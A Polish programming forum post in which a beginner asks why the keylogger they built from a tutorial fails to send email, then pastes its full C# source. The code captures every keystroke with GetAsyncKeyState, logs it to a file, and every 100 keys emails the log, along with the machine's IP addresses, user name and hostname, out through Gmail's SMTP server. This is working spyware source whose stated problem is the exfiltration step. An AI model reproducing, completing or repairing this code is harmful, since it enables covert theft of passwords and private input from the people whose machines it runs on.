vaxooo11 Napisano Listopad 27, 2020 Zgłoś Udostępnij Napisano Listopad 27, 2020 Witam zaczynam z programowaniem więc postanowiłem zrobić dla siebie zrobić keyloggera według poradnika ale pojawił się problem nie wysyłało maili (próbowałem na gmail) próbowałem różnych sposobów ale żaden nie działa więc jeśli ktoś ma ochotę to tu ma kod : using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net; using System.Net.Mail; using System.Runtime.InteropServices; using System.Text; using System.Threading; using System.Threading.Tasks; namespace ANKAiKUBAtoJednaOSOBA { class Program { [DllImport("User32.dll")] public static extern int GetAsyncKeyState(Int32 i); // string to hold all of the keystrokes static long numberOfKeystrokes = 0; static void Main(string[]args) { String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); if (!Directory.Exists(filepath)) { Directory.CreateDirectory(filepath); } string path = (filepath + @"\keystrokes.txt"); if (File.Exists(path)) { using (StreamWriter sw = File.CreateText(path)) { } } // plan // 1 - capture keystrokes and display them to the console while (true) { //pause and let other programs get a chance to run. Thread.Sleep(5); //check all keys for their state for (int i = 32; i < 127; i++) { int keyState = GetAsyncKeyState(i); //print to the console if (keyState == 32769) { Console.Write((char) i + ", "); // 2 - store the strokes info a text file using (StreamWriter sw = File.AppendText(path)) { sw.Write((char)i); } numberOfKeystrokes++; // send every 100 charagters typed. if (numberOfKeystrokes % 100 == 0 ) { SendNewMessage(); } } // 3 - periodically send the contents of the file to an extrenal mail addres } } }//main static void SendNewMessage() { //send the contens of the text file to an extrenal email address String folderName = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); string filePath = folderName + @"\keystrokes.txt"; String logContents = File.ReadAllText(filePath); string emailBody = ""; //Create an mail message DateTime now = DateTime.Now; string subject = "Message from keylogger"; var host = Dns.GetHostEntry(Dns.GetHostName()); foreach (var address in host.AddressList) { emailBody += "Address:" + address; } emailBody += "\n User: " + Environment.UserDomainName + "\\" + Environment.UserName; emailBody += "\nhost" + host; emailBody += "\ntime:" + now.ToString(); emailBody += logContents; SmtpClient client = new SmtpClient("smtp.gmail.com",587); MailMessage mailMessage = new MailMessage(); mailMessage.From = new MailAddress("jakiś.tam@gmail.com"); mailMessage.To.Add("jakiś.tam@gmail.com"); mailMessage.Subject = subject; client.UseDefaultCredentials = false; client.EnableSsl = true; client.Credentials = new System.Net.NetworkCredential("jakiś.tam@gmail.com", "Hasło123"); mailMessage.Body = emailBody; client.Send(mailMessage); } } } Cytuj Link do komentarza Udostępnij na innych stronach More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.